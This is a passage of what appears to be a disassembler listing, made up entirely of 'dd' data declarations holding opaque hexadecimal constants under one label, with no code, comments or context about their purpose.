		dd 34988C44h, 0DD482873h, 61009334h, 0B7C609AEh, 1DBF42Ch
		dd 9228D119h, 6044EE95h, 0BF8985A4h, 0EDE8C0h, 0B24ACE7Fh
		dd 2AFCF283h, 35425B07h, 1BB0DD65h, 2507D128h, 80187AFFh
		dd 261443AEh, 42DC66E7h, 88C600FCh, 4DF72DECh, 0FC790110h
		dd 93C5090Ah, 0D5A187DEh, 4170F0B7h, 4C015B2Bh,	4E07E8E3h
		dd 8059EB38h, 453691A8h, 0AF6AB101h, 9E94551Bh,	12C3AC42h
		dd 87468C1h, 0EF7044C0h, 0C4C6D72Ch, 0BB813208h, 0A6269B0Ah
		dd 0FF360480h, 3378F4DEh, 3001CD1Fh, 0C88B4941h, 63F03EC4h
		dd 8656079h, 2C98CA7Dh,	46F01F00h, 0C65D3BE4h, 0D1830CA9h
		dd 0FE8157E0h, 0DE25E8F7h, 6637101Dh, 861FB000h, 0E8998E22h
		dd 0E259EE46h, 0B6D60054h, 186CA9B1h, 0E0A4836Ah, 0A0FDFF24h
		dd 0A4FEA44h, 0BDCE8521h, 0CA23F047h, 0AF2A801Ch, 1863EC2h
		dd 92E4515Ah, 6B782154h, 2308617Fh, 82DF13BCh, 0C4885853h
		dd 41F603E9h, 8A8E7634h, 83A814E0h, 0A7DFB407h,	3FD0EC18h
		dd 24939582h, 6018DC6Bh, 0B06C2258h, 0BE9EE300h, 0C5F75AFBh
		dd 99DF00DCh, 7BCB98E2h, 0D008BDABh, 157125DDh,	0A71D3CE3h
		dd 8FF7804Ah, 0CA2094A5h, 0D14EC600h, 0E3D3619Eh, 98F4B836h
		dd 0CAC488ACh, 21B2013Bh, 92E5A605h, 219C2C6Ah,	0A80F04F0h
		dd 3BC4C81Ch, 0CA128401h, 6B11D5Eh, 0CCD848BAh,	58A06B25h
		dd 982F286Eh, 0D0293502h, 4A803EE0h, 0F6ED6F4h,	981274F4h
		dd 2E00FB58h, 7B99290Ch, 6D1C45Dh, 0CE1D9524h, 0CA048816h
		dd 0BDFD5125h, 6DBEB881h, 0F8002C63h, 0A03F2C11h, 0F005632h
		dd 0B2F5354Dh, 5BA755Ch, 904452Fh, 0F0DC04CDh, 0E4EA44CEh
		dd 136B88Ch, 1AF4560Eh,	0F2933CAAh, 2C04948Bh, 90E04BEAh
		dd 47FCF4h, 7D72645Ch, 961A8E27h, 0A10099E8h, 9C61620Eh
		dd 1475CC8Ch, 88B4F103h, 0E9886574h, 670483C2h,	66F38011h
		dd 5A986E3Fh, 72F599C6h, 0D2286988h, 7C00308h, 9CE56501h
		dd 0D9FADC8Ch, 0B4C85513h, 0A3ACC410h, 91E3A8FCh, 57A01D4h
		dd 79C5F8CBh, 0C484FA6Ch, 20B92266h, 87EC4D23h,	0D7FB2201h
		dd 0DDE016E9h, 881180A5h, 0C3D2C088h, 0B0EBB50Fh, 6140BE16h
		dd 0E9FD06A4h, 10734C08h, 22689328h, 0F1F87B47h, 97AC164Ch
		dd 7608EC05h, 0C67BA0C1h, 26B45Ch, 0F878D5Dh, 0FC42D985h
		dd 216DB225h, 60E49808h, 4CA2CCC3h, 89014022h, 0BCEEDBD0h
		dd 98E8F836h, 247D0230h, 0DF10BB92h, 0FC2935C2h, 5F0070E4h
		dd 0DE018271h, 0AD115FFh, 0B71C918Dh, 0F999808Ch, 9F250290h
		dd 0BA28F100h, 368BB4FCh, 60A7170Fh, 0C0306435h, 9A865260h
		dd 1EEE2B03h, 0E941893h, 78B077E1h, 85C889FCh, 0EB50F487h
		dd 60E450AAh, 385DD749h, 7A00B1EEh, 57B9947Fh, 252FB27Ch
		dd 7C055988h, 4564D769h, 82E8D0EDh, 1C26A6B6h, 398078FFh
		dd 0D0A9470Eh, 0F61F00A1h, 0BD0DF91Eh, 0CC3EAEC3h, 74E7265Dh
		dd 258493Ah, 0FE6516C0h, 95CA208Bh, 740002E0h, 49F3AC7Eh
		dd 17B4A962h, 225B97BAh, 42207BBCh, 90779D3h, 0D18B4623h
		dd 0F5155418h, 0C882B02h, 0E189FEE8h, 0BAD56E50h, 9B2C3450h
		dd 0ADA700EDh, 38207FF4h, 78186E7Dh, 70612DF1h,	0DB6217D1h
		dd 3F680765h, 28448B93h, 74E1E700h, 0C76B5301h,	7EF32207h
		dd 8B0F2D5Bh, 0EE8220ABh, 30C898F0h, 8C08E283h,	0AE00DBC1h
		dd 39C94A29h, 7845BD59h, 1A2600AAh, 0E60558C4h,	0F3067675h
		dd 0E867D898h, 88900A39h, 11288B5Eh, 59C900FFh,	34609B72h
		dd 1E8200A7h, 902A66E0h, 31C0D9E6h, 345FDA3Eh, 41B20074h
		dd 0C8E0E80Ah, 0B33C28DDh, 2B00F292h, 9D878893h, 61C907E3h
		dd 8269388Ch, 7C6980FEh, 0BB132530h, 11AB0021h,	496A3BD8h
		dd 0DF1898F8h, 0E329FC66h, 79D76F01h, 0F0B16E8Dh, 0D87897A5h
		dd 4F68FB50h, 350B6300h, 1C786A21h, 0F95C3088h,	8B7FE531h
		dd 0E70C28DEh, 0D651D0h, 0FA5B72D1h, 951C4AC0h,	9E3770Ch
		dd 186821DCh, 399F7FFCh, 7D3C8F89h, 78C18091h, 2BC087B5h
		dd 4A610B0Fh, 0DC079E84h, 0DF8BC0C8h, 39D0BE09h, 0B228409Ch
		dd 0C67C4400h, 4FB849D4h, 3FF800CCh, 91A28F88h,	0FB641654h
		dd 9223EF0h, 70200C11h,	9008A077h, 18F478D1h, 31D8E691h
		dd 0D712FD86h, 0F000408Ah, 0CD4E4DA1h, 0B7C8320Bh, 0CC200A88h
		dd 679BB5A4h, 0ECF111CAh, 0AD001759h, 5509768Eh, 2971E03h
		dd 0CDC9C41Ch, 0A092BD19h, 9366800h, 0D100FC15h, 13569EBBh
		dd 7F7D5Eh, 0D6430E82h,	0C9702B19h, 0A883201h, 2878774Ch
		dd 612A6D20h, 46A3F893h, 90D84653h, 0E766D818h,	0C08919E1h
		dd 3A1C5671h, 9E0ED721h, 0E0454D72h, 0C497ABFCh, 0DD0538A2h
		dd 8E198B8Ch, 5A005231h, 2ED77633h, 0F7EFEh, 63E82126h
		dd 357FC611h, 0EBE8667Bh, 0F165D814h, 3E0095B0h, 212CC808h
		dd 0DFE60CEFh, 0D000E5F1h, 254F3BA0h, 1EB63B9h,	0DDDE5064h
		dd 2318E37Ah, 44833A74h, 0F31E00AEh, 0D6A933D9h, 0D574952Bh
		dd 0BA705254h, 0B90A5E07h, 0C51054CAh, 98CC4D6Ch, 2A8D06A8h
		dd 81DEE608h, 39D51207h, 8690115Ah, 920CDB5h, 82509C02h
		dd 0E17F0890h, 91FE6300h, 0CFD0F76Dh, 9F120131h, 0A23B8123h
		dd 0FC90C2E3h, 0CA98B0C1h, 0B1E25C33h, 8001AA2Ch, 782AC164h
		dd 72CD007Ah, 0F2FBD57Fh, 0C50081C2h, 0C958777Eh, 636074E5h
		dd 0D1E750CBh, 0C4C5901h, 79D2AB52h, 26CDF8D4h,	440B360h
		dd 109FB16Eh, 31243198h, 818FE5F1h, 0A380616Dh,	0CF257B77h
		dd 0C071B798h, 0E63073E8h, 21B31D3h, 79381D06h,	0C7B8806Fh
		dd 25C077A1h, 0BF987350h, 4788C4Ch, 877DFCC6h, 4839E014h
		dd 78907450h, 18EF621Ch, 7421CA54h, 28201877h, 71C31E3h
		dd 2265DF71h, 70CE4Ch, 2A18B294h, 66F20030h, 0DDAB62B9h
		dd 0A6608265h, 4A8805E9h, 8361C9FAh, 0F0556C91h, 5F007143h
		dd 4ECFC325h, 126E7901h, 0CD42F3h, 0A9F0414h, 9000F71Eh
		dd 547FFDA8h, 60E7E4A4h
		dd 22DE99D2h, 393C698Fh, 1AF105E8h, 5408C082h, 862C878Eh
		dd 3E54202Fh, 63731F7Eh, 75072377h, 6643D37Bh, 83E30CD0h
		dd 7A6F31DFh, 808F19B9h, 0D3121E41h, 0E0B2C3Ch,	8D039B61h
		dd 87910522h, 0A4004DC2h, 5589FAFBh, 9026FE42h,	4C91038Ch
		dd 2198DFA0h, 0FC7D0A7Eh, 94599E60h, 0A1F7245Ch, 4908E6CCh
		dd 0BEA9ED3Eh, 8B4B11EEh, 0A280284Ch, 25F41E90h, 2E319C06h
		dd 26B178FCh, 247FF0h, 0A688B93h, 0C600D401h, 0C4D19806h
		dd 92F2182Ah, 25E7306Ch, 0F8A01159h, 1FBCA800h,	6CD0745h
		dd 4ACA0043h, 0AF25DBFCh, 3F67B00Ch, 2C4090A9h,	60F294FFh
		dd 7F73997Ch, 822AD540h, 7700BCE6h, 22BCDD70h, 30F057h
		dd 0E35F6014h, 5B292EE5h, 53B55A18h, 3F677848h,	6800370Bh
		dd 4EC490Dh, 0D5F8DE2Ah, 34182B24h, 0B1F52040h,	0FA9F00F8h
		dd 64BAA1D7h, 580C962Ah, 79FC82D0h, 0BF030039h,	9E4E5CA8h
		dd 8600F653h, 1C91C4F0h, 58E3EEFCh, 0DF847C03h,	57CC860h
		dd 2F7E0A9h, 0F58323C0h, 34212101h, 5E93F42Ah, 7400D031h
		dd 30BEED90h, 0D711F982h, 0FB006D94h, 99D0FD14h, 5C3C7E26h
		dd 21360092h, 4E3BE879h, 0C084C83Fh, 4C5158B2h,	724000D0h
		dd 0E579AA6Ch, 7E01A931h, 9FF01752h, 0F46263DFh, 2004E313h
		dd 0F333C560h, 0B31919C5h, 65519840h, 0F90B50h,	6AA04162h
		dd 214B28Dh, 0B0322A00h, 0D4A1BAAh, 4980E3D6h, 975F70CCh
		dd 0A6F97AF2h, 8804AC50h, 3B1E8A53h, 3ECC7F24h,	27E63912h
		dd 4D5B80C0h, 0FD28B154h, 0A00B82EDh, 99DE1EE3h, 62086320h
		dd 39B84A00h, 0E23B6A3Dh, 0CC64A118h, 2F88F842h, 0F49C01Ch
		dd 1DACA03Ah, 8E9F0D16h, 46B6B70Fh, 29801Bh, 7064CAA9h
		dd 0E37BBA8Dh, 81DC0A4Ch, 9BA02A61h, 9176FCFCh,	71F19BB8h
		dd 0E57012C0h, 0E8494E26h, 19F8313Eh, 0FC806457h, 4033D672h
		dd 5B012413h, 0B6E66C6h, 0F420C543h, 188A4256h,	97796348h
		dd 0F5A02CF1h, 0CB184324h, 0DF847114h, 0F7D7C0D0h, 34DA783h
		dd 0F9CBD26Dh, 60C83A22h, 5B001744h, 0E00BED1Eh, 5482697Fh
		dd 134F0F8h, 0AC575F0Ch, 31384FFCh, 6880DE08h, 5C7E9174h
		dd 5405F804h, 0D8C8828Ah, 0DB9C0158h, 6EF475CDh, 248802Ch
		dd 94B1AECAh, 787D051Fh, 5C829Dh, 0D38F35D4h, 2F1E4FAFh
		dd 8E0FA066h, 0F67D00D2h, 38D101CAh, 0B7006179h, 200EDD0Dh
		dd 19002E5Dh, 0B0246997h, 0C66514B8h, 85F1838h,	78062F71h
		dd 0BBDB7D7Ch, 89550C40h, 0BA602EC7h, 0E65DE400h, 7BD0EE1Ah
		dd 0EDC73D8h, 373F4B08h, 596A6326h, 60224D42h, 0F3E9ED01h
		dd 0FE8A088Dh, 3AB051B9h, 0D3D402B9h, 3EB4DE03h, 0D0159510h
		dd 60E82F0Fh, 3D8F2064h, 0E8C036AFh, 7BC6F006h,	10F200C2h
		dd 3B68AA1Eh, 0E61C244Eh, 0C50CCD23h, 32F39B0h,	0F4D55EC0h
		dd 0E6301C3h, 5B1819h, 9760AB21h, 0AAC911C5h, 0E6D57300h
		dd 990ABC3Ah, 5F5D06FEh, 0A94350AFh, 39561830h,	517EAD9h
		dd 39DFBDFAh, 0FC0FFA7h, 60256EEh, 8A522E10h, 141CE9E2h
		dd 3FC054FBh, 645C1165h, 0A1FF09F8h, 2014EB3h, 0E4FD6952h
		dd 9CA8702Fh, 0B861D83Eh, 4154AFF1h, 20584042h,	301495B0h
		dd 89005DF8h, 0DDA97D0h, 32D5940h, 0CFA94D60h, 31FE17D4h
		dd 49121007h, 32704B9Dh, 187465A5h, 215CB5C5h, 38492C57h
		dd 8F950124h, 304DAFCAh, 0CC27798Eh, 0E420680Fh, 82A75761h
		dd 8697F106h, 0A9AC3Ch,	0A47E8C04h, 58CEDAB3h, 6B0AC673h
		dd 84CA8A22h, 0D95D1980h, 1E177AA6h, 47CFDF4Ch,	86A3486Dh
		dd 0E8008959h, 8A1EC057h, 0B2B760h, 0F9DD907Eh,	0BCC58CD9h
		dd 0C6298960h, 6CE0F21h, 17E47A9Fh, 8001957h, 74B3699Dh
		dd 0DCB88h, 3C5B89E2h, 269734A4h, 28A13D30h, 0FB7FA66h
		dd 0EC64FD18h, 2C88C6C7h, 31006CA9h, 0BD1C725Fh, 0E541A3h
		dd 978EDFF9h, 0A4BF75E3h, 6C78D03h, 80C42949h, 2EDFED7Ch
		dd 1B709DC5h, 45ACA801h, 9040B13Dh, 0D19DF0E7h,	7286002Bh
		dd 3B41A8F9h, 4900CA5Bh, 802DE4F8h, 1CEEABBh, 5FBF8ED4h
		dd 70C418F0h, 0C6603627h, 29C3FE70h, 0DA2A07CDh, 363DCAE5h
		dd 9C0C61A1h, 7963B3C5h, 8D2A036Ah, 0DB2B5732h,	0B2CCD91Eh
		dd 0B3444CA8h, 0AAA300ABh, 5C8B8F6Bh, 8C074392h, 1E26D303h
		dd 55FE0A80h, 0B09F01BAh, 2134B996h, 29C4F01Ah,	0C63A8D01h
		dd 5A18242Bh, 5EC25980h, 757845FBh, 3B0F6803h, 128F91D9h
		dd 2017E2B0h, 24FB9BCh,	5C423607h, 32972E14h, 38C27694h
		dd 737820D0h, 3C0269B4h, 5D2E4D6h, 0B7848243h, 24AF43F0h
		dd 67F460F0h, 4288A8E7h, 0A7230066h, 0E13CBE1Eh, 8AD33Dh
		dd 97C8CF1Ah, 0FC1CB629h, 0F9E04F1h, 0C8B23C8Fh, 0D6001D30h
		dd 0E9CAA3D1h, 7AB69B6h, 0EC2C009h, 0A01BE772h,	0C5021911h
		dd 81C98AFEh, 0FDBC81C6h, 499DB03Ch, 0CB6E0013h, 284F2344h
		dd 270D4C12h, 951B8800h, 387801CCh, 0B409663Fh,	3A0E24AFh
		dd 972E7080h, 0AB603C8Eh, 0E094F549h, 31DF0171h, 0A2B32A4Fh
		dd 0CB3820F4h, 0E75F5600h, 138B9743h, 55D61FDDh, 44B0262Ch
		dd 68184037h, 38D37EB4h, 304CDDB1h, 0B608B321h,	475D443Bh
		dd 1B10E107h, 0D2D5A7h,	0CB566606h, 96A67E42h, 7A3BAE00h
		dd 0F8DFBB97h, 0BC5964A5h, 2818C851h, 0E4295629h, 1934B039h
		dd 2F1974h, 7165BF6Dh, 79DB2A96h, 56809706h, 31D223h, 1CD7E95h
		dd 1C8BB94Bh, 5708D090h, 72F3728h, 40708042h, 21BF8F06h
		dd 7985081Dh, 40557CC3h, 1D8EEB02h, 1055619h, 0AFC45F76h
		dd 3E744053h, 80A4A6DFh, 0BC885074h, 0BAB90EE2h, 0A1005F5Ch
		dd 219C2B94h, 81DB8D00h, 0E12F3D97h, 0DA261DCAh, 393F9878h
		dd 2800E8FDh, 0AC29CA8h, 0E45421h, 0C8424D7h, 6D810F29h
		dd 3953B01Ah, 7E888131h, 0F2CD1EB7h, 2BC52EDCh,	0FCE7AFh
		dd 0C713AA68h, 0F4000609h, 0B9B5FB76h, 3F43024Bh, 29E03C89h
		dd 34DF40FEh, 1603D27Ch, 0F1D128BFh, 44CDA255h,	63AF22FCh
		dd 0E88A6E2Ch, 9A82740h, 0C10C00AAh, 1A47FBACh,	7201A605h
		dd 0E87B615Dh, 3431E2B7h, 97953440h, 0A520EA27h, 0BE3F80ECh
		dd 228576BAh, 474CB018h, 0C3921819h, 81B4F679h,	1243D4B8h
		dd 89724C98h, 9902F890h, 4C6E6560h, 2BE88727h, 0AE269540h
		dd 0B894F0D9h, 333E4570h, 0B60070DCh, 922C3036h, 9A87907h
		dd 0DB8E882Bh, 6516D483h, 21CC2902h, 0C01DCA30h, 99DD3D88h
		dd 96980A98h, 2E7B06E8h, 0CEFA613Ch, 0DB346500h, 1EA51232h
		dd 489302BFh, 0A0F9D29Ah, 304AB8E8h, 12DA2B88h,	0A3A9322h
		dd 542F8Ch, 0B26D6A62h,	0CE01E6AAh, 824FF67Ch, 0C3C08F1Ah
		dd 979C027Fh, 0E33DF766h, 0D389E490h, 964EACA8h, 1665483Fh
		dd 28054425h, 0A48C19EDh, 91360020h, 53FC7697h,	0EC1E3B5Bh
		dd 884AEDFEh, 3306D4C5h, 758D0ADh, 8F9FF7C6h, 2E353080h
		dd 0CC6089E6h, 43778149h, 12190364h, 9F713D76h,	911F54F0h
		dd 3E6CDC54h, 0AFCB2405h, 0C4223D45h, 0BE64205Ch, 28011367h
		dd 79ED7068h, 6180CE89h, 0CB78970Eh, 45149477h,	22C09F08h
		dd 50E0A6h, 97922DF7h, 3AF268F1h, 6811244Ah, 9897C034h
		dd 0E6B073F9h, 6015B01Dh, 9FA04988h, 2E2E3AAFh,	4838D80Eh
		dd 396233A6h, 1797A9DBh, 0C3005062h, 18B05AAh, 34002448h
		dd 0BA0AA24Ch, 4C54B01Ch, 36A0843Ch, 6203E4EBh,	5153E7A9h
		dd 0E026633Dh, 0E900C58Ah, 6BB74149h, 0EF3393h,	0D5F04303h
		dd 8B5D3834h
		dd 29E18930h, 7B0B2DCh,	49B6713Ah, 17031078h, 0D11E9058h
		dd 3540AA2Dh, 8F08D40Ch, 9CF23AC5h, 0E9A83D18h,	501DEAAh
		dd 8D02488Ch, 208001C5h, 9496926Eh, 43481B2Ch, 0BB60C090h
		dd 1BDE34Ch, 3127C83Eh,	20B997A9h, 3645B7D0h, 0A4A2E1F8h
		dd 5620A0C8h, 67F09124h, 300490E0h, 9811CBE8h, 0E100392Fh
		dd 0C9511A54h, 0C7040AECh, 2F647008h, 1B98A4h, 72D1EB89h
		dd 9E968174h, 4E6D451Eh, 0C5F10840h, 1471E9AAh,	0C024BA6Ah
		dd 93114621h, 0CA6BCE03h, 9CD0F711h, 0B6037834h, 2DF64B66h
		dd 913DA0BBh, 55EF3C49h, 58941058h, 0A25D802h, 0CC4176BEh
		dd 746E1041h, 0F515008Ah, 0A801C079h, 9038B26Ah, 46C705ABh
		dd 2C841060h, 82A18C08h, 23B9B498h, 0FC9BE062h,	0F540607Bh
		dd 54173096h, 0D39011B1h, 827CE6F0h, 75529900h,	0CDDABE9Fh
		dd 0AB650793h, 0A2B44F01h, 6CC9EDA0h, 11D432DCh, 3D188CAEh
		dd 687E81B4h, 0C782A00h, 5D01921Eh, 4C10054h, 0E94A2983h
		dd 91C4D3ABh, 3F03F6A6h, 0ECFADFB8h, 3289DC61h,	91271E1Ch
		dd 0C8005D2Ch, 0E41481C5h, 3E830AB6h, 113C64E7h, 0DCC300AFh
		dd 27E226CEh, 3B27DBDh,	8565B30Eh, 0B0E03A01h, 0B49A3252h
		dd 931F2B3Ch, 18003BF3h, 7FBD23A4h, 14FBF2E6h, 0EC404DAFh
		dd 92805988h, 46EFF8E8h, 4CB62E84h, 88240B4Eh, 0BC3F34B0h
		dd 898C30B9h, 0ECC9C9h,	63C32594h, 4FB6FC64h, 9FD67C17h
		dd 0C2B0840h, 78CD2D95h, 225628D1h, 0C035E61Ch,	0AF3B3689h
		dd 142CD564h, 0E10C04F1h, 7E20F9A3h, 8EE30221h,	1C195E8h
		dd 71D774E0h, 458056E4h, 0E23E8837h, 7F16A093h,	1E43E030h
		dd 0BF744Fh, 56DB19C1h,	9C619904h, 0CE2EAE3Bh, 0F0B79063h
		dd 0B88D01E5h, 2712F1C8h, 5A1B8881h, 2EC4307Dh,	49991500h
		dd 0EECC47ECh, 403D4A34h, 0AEC20938h, 0C500B22Bh, 10ACE165h
		dd 4940FE7h, 1F6211C9h,	7FC0A2FAh, 0A14AF0Eh, 9A7B00E1h
		dd 25B7F7C7h, 90816CF5h, 72D42157h, 55DE00C8h, 1E90062Bh
		dd 4EF228E8h, 8EF8FCh, 0BA526CE5h, 0CC4B0223h, 98A3D336h
		dd 28CF4240h, 0A9DEC426h, 61B99602h, 545289h, 922A842Dh
		dd 0B32C6216h, 791D5590h, 5A01803Ch, 0A9B2C560h, 0E5C05C2Dh
		dd 0CA11F4DDh, 26085900h, 741C4A2Ch, 6C9000C8h,	8EECDFF1h
		dd 7C986433h, 0E448C2E7h, 722C4F02h, 3F113461h,	2CDD3E16h
		dd 1B0084C4h, 0E7E0BF91h, 0F8F1ED6Eh, 722D12D9h, 0B413FBh
		dd 4B2A46CCh, 0C85C5F44h, 50DC2830h, 0EF8EB499h, 16AA006Fh
		dd 215ECAh, 34749048h, 261DD41Ah, 0F0507B28h, 0AC9C6628h
		dd 0D12EAF0Eh, 0D5415888h, 0FE22008Bh, 0A4819B4Fh, 8CC72B7h
		dd 3B9221E4h, 82812283h, 1355D9C9h, 4FA02041h, 5193C43Dh
		dd 0FBD041C8h, 0C426043Fh, 2964668h, 4FF92286h,	0F5001C73h
		dd 0A98C227Eh, 0C0A73C6Ah, 0D0294049h, 0F904A5F3h, 0E9FA302Dh
		dd 360A9480h, 0A43D3085h, 0F19CC029h, 0C229C601h, 92216152h
		dd 21BC0898h, 0F100A4E6h, 1EABDD2Ah, 74230AD1h,	152B0A85h
		dd 3824DA3Eh, 0C48F9600h, 9108639Fh, 0A3E6BCA8h, 5490688h
		dd 0C3357C2Ah, 0B0AC0351h, 0B3F9672Eh, 0C0804432h, 0FB953918h
		dd 0BA5BCC04h, 6180C731h, 7DDF8B82h, 37C8009Ch,	6834F38Ch
		dd 0D5008114h, 89ABA08Ah, 644B60h, 0CD022273h, 5DA89E3Ah
		dd 0A51FEC00h, 7283BE37h, 151218F8h, 64ABF2F3h,	38223A00h
		dd 0E0CC291Bh, 2510310h, 0B5968DDh, 0F3CA99F0h,	81962838h
		dd 7045D43Fh, 2081D78Eh, 0C2F5F407h, 446ECC20h,	2EE98701h
		dd 319E49DAh, 46EE2A00h, 142940h, 0C3EA375Dh, 5D7CEEDh
		dd 0D20191F6h, 99A08242h, 0E9EC1F57h, 0A1500052h, 882A80E3h
		dd 19C07A9Dh, 9CFAAD4Ah, 2258FA11h, 520165E1h, 3A7532C8h
		dd 51CC4E9Dh, 29C1C003h, 2CE6164Bh, 2869B605h, 0C61D6381h
		dd 12658806h, 0F0370040h, 0A34F2A0Ah, 0E40072CEh, 80FB27E6h
		dd 0FEF8857h, 3C1B2E30h, 0DFF9E81h, 97189E81h, 0B3EA0362h
		dd 4051B7A7h, 0F860DFE0h, 67DE5503h, 0DCFDD6h, 0E553B888h
		dd 6EF4FE1Ah, 260410Ah,	99139069h, 219F3F1Ch, 50FBC3C0h
		dd 0E2845A05h, 0D11009Bh, 566040B4h, 8700F0DEh,	828A811Ah
		dd 0BB4AE8h, 76CF4977h,	0D3C16847h, 0FAF8EBECh,	183F4030h
		dd 7C25E45Fh, 4DAD07D5h, 0C03EB352h, 986782F7h,	0A84F7606h
		dd 2021D3D0h, 1B2EE2D2h, 951E2BD1h, 0F7F02446h,	8BFB0011h
		dd 9E763971h, 9C339492h, 2FA088Eh, 71A3DD21h, 0B3612FBAh
		dd 1900C3E9h, 38EEB37Dh, 0A1B64Eh, 0E0A75C6Fh, 0AC3F12C8h
		dd 8BA02C63h, 10794CD0h, 348C4200h, 7F3643CCh, 98DE2530h
		dd 32042774h, 0C330D4F7h, 0DFAA0B21h, 85F1F4h, 1F0AD27Ch
		dd 8F4B93Fh, 0CE666B12h, 698A1600h, 0E0381Dh, 30990972h
		dd 82D55D4Ah, 4FE61900h, 7AC28AFEh, 0EF53001Eh,	0AA216754h
		dd 0A501D5F8h, 8387D706h, 3DC0B4B5h, 0B3500051h, 5B8F2D47h
		dd 0C403F555h, 0B6E7DC35h, 0A27298BDh, 8D3A0053h, 0ACBF2AA7h
		dd 0F007B28h, 76523D01h, 2FC090h, 0A183628Eh, 1309A91Eh
		dd 9B214D07h, 6007A83Eh, 0E0DF1DD3h, 16423Dh, 0E614FCD7h
		dd 346988BAh, 60F11200h, 0F6C64A4Fh, 341B9868h,	2A10500Fh
		dd 51F1C304h, 0A7100026h, 5B45A82h, 9D004DC7h, 0A8D26110h
		dd 71811F9h, 64EB29F1h,	55409317h, 8812921h, 0A2BAF8FDh
		dd 8857E4EAh, 41889C85h, 0E9D188F7h, 299D8C8Ah,	92088F9h
		dd 0D5A45D00h, 3A9880F8h, 21EA0118h, 0F5D2CCB1h, 0FEFADCABh
		dd 3991D00h, 6B8310B3h,	779DF230h, 38370049h, 32A0F4B2h
		dd 16005A9Ah, 0DDD76201h, 927DE8h, 69D68C72h, 4D91FC67h
		dd 9305C000h, 4BB6FB62h, 2F1600FAh, 27692346h, 0D6073070h
		dd 44482507h, 0C013F920h, 0A85A00E5h, 274AEA8Fh, 0B4009A09h
		dd 4E1DA226h, 92DE62h, 0CA6C3DA0h, 2F43853Ch, 0B5159500h
		dd 5016B237h, 1C7900A2h, 6F92F2CCh, 9F0043DEh, 0DE14846h
		dd 0AB1EE4h, 5EB2DB13h,	0B347D3C3h, 0F66E34Ch, 0D5A7917Dh
		dd 3A1800E0h, 247B084Ah, 4E9F0054h, 1A041514h, 8A03E5DEh
		dd 0E40E1981h, 47EA90ABh, 0F563C33h, 4080751Fh,	0FD6FCB02h
		dd 642448D4h, 3E030810h, 0F038D05Eh, 754FA24Ch,	0E30A0524h
		dd 0F7B61Fh, 49B86BACh,	430199D9h, 3E93256Eh, 62DC4FC3h
		dd 9B750044h, 0A8A06805h, 571C986Dh, 0AF00D491h, 971AC59Ah
		dd 2186371Dh, 0ABF4D0B0h, 61001EF2h, 853883ACh,	980FD2B2h
		dd 0DD3900E2h, 0FC77A055h, 5004BEAh, 0BD0480BFh, 9BC6C2h
		dd 0FF27B924h, 0DB37BAF2h, 0EB7AFC00h, 0A382E0AFh, 5814007Eh
		dd 2171F032h, 98A0CE26h, 4A003D1Ch, 0AD6D1281h,	0C0654h
		dd 104DD56h, 0F3892BFh,	19FAE701h, 15EF3145h, 0EBD7DCh
		dd 0CC35D27Ah, 911FABF3h, 57E55Ch, 1B4D5216h, 31CDDD8h
		dd 5640CF6Ah, 0B0B021EBh, 0ADE65B2Dh, 8C2F8400h, 709E1096h
		dd 0BBDA3890h, 0F426882h, 0B5E0A057h, 3F53018Ah, 0B1DC80DCh
		dd 2B2AD03h, 0A25FFECFh, 0BE607D16h, 61F0CA71h,	18D79630h
		dd 27FA6392h, 887C46BDh, 6831A500h, 9086ABh, 0E4C1FB1h
		dd 0CB9AA05Bh, 0C14BE500h, 1254B05Fh, 0C5A328DCh, 0A6C73090h
		dd 4F471B3Ch, 901149h, 0B4D9E462h, 0ACD73Ch, 0D29B4ADFh
		dd 848D055Dh, 0F8CEC600h, 3755F628h, 0AFA0A01Dh, 4CA0113h
		dd 0E5342572h, 822180A9h, 7CB250DEh, 0BCA658B1h, 17D1D300h
		dd 99BF02FEh, 0D052502h
dword_52F848	dd 40ECFC7Ah, 0A78884h,	76532B8Ch, 4AE1128Dh, 0BB0055FCh
		dd 0ABB01194h, 9DE607Ah, 0CC9D6420h, 80C40C04h,	55C88B97h
		dd 66DD5712h, 82030413h, 0BF29DBh, 4E3930E8h, 0B1692675h
		dd 80AE80Ch, 0FC0A5Ah, 1B3C8682h, 692D0EEBh, 0F1EF458h
		dd 207FDBB3h, 7E03A8Eh,	846300A8h, 0AA8BA2E9h, 1C489166h
		dd 6E180904h, 3309EE3h,	89B5D961h, 0B3C015D7h, 0A8000F5Eh
		dd 12ACD05Fh, 248C5CBBh, 0B82C32h, 44290E48h, 0B21DFA7Dh
		dd 0EEC0ED4Ch, 5E84A18h, 9A1D00DDh, 4BE78E35h, 9B022028h
		dd 58A13FF1h, 0FE406012h, 5DE401A8h, 8CC21EA2h,	0B5EFF088h
		dd 2DF6BC00h, 0E84DFC2Ch, 6671004Eh, 878930B3h,	5E00838Fh
		dd 0C97E8811h, 2F792h, 0DD3A5913h, 85C85B2Ah, 0A2954100h
		dd 0CCE783BAh, 0D6630001h, 820BA674h, 3F0E559Ch, 400885DEh
		dd 0AA9DD797h, 7F830713h, 23E30E39h, 61E8B309h,	0C517FAE1h
		dd 0AFB6D2h, 0FCC4D405h, 36076FFEh, 308F4AC9h, 47A593E0h
		dd 6DE90228h, 5241B790h, 2D7AE280h, 5B03C279h, 0BD273F9Ch
		dd 720883Dh, 495601AEh,	822F97EDh, 0FF8DC4C5h, 0F1F439h
		dd 6F610534h, 8C8EE9h, 85C4E871h, 9300F95h, 0BAB7B907h
		dd 1681C8DEh, 5B3159D0h, 0F0465043h, 0B2668Fh, 4756DEF2h
		dd 3649C365h, 286F8803h, 0BAF6D2A9h, 8FA4C04Dh,	27850062h
		dd 1B8EA235h, 0BC489B3Eh, 588711F8h, 8F7C609h, 1DA32B80h
		dd 231ED841h, 0D3E63654h, 2DC9FC00h, 3BA034Eh, 70F46794h
		dd 0D6F0587Dh, 0D700EF84h, 2F928A5Eh, 1CE56530h, 0C02372CFh
		dd 0B6AA8781h, 0DE00EECCh, 4B49668Ch, 0A66956h,	0BA469803h
		dd 0E19DFAABh, 33E41B00h, 0D03D0DA8h, 0DF670BA2h, 0BB87E5E6h
		dd 3641B0E8h, 7E17F8FAh, 0E500C6B3h, 44408AB9h,	115F07E0h
		dd 422C47h, 0C55534FAh,	5A192000h, 0BFB1FD99h, 70090FEFh
		dd 0BEEF7F6Ch, 0A9DF9782h, 0E8C656C1h, 4400CA1Ch, 60BF6CA7h
		dd 0F63B8Ah, 5948B6B5h,	51AA9BF3h, 807DCB00h, 7E7B6B2Ch
		dd 0D05C4924h, 8783FB02h, 7200193Bh, 0C60A3h, 0A8541E77h
		dd 5CC80AE6h, 0E86B7600h, 7120EEA6h, 68E4027Bh,	0BF94223Dh
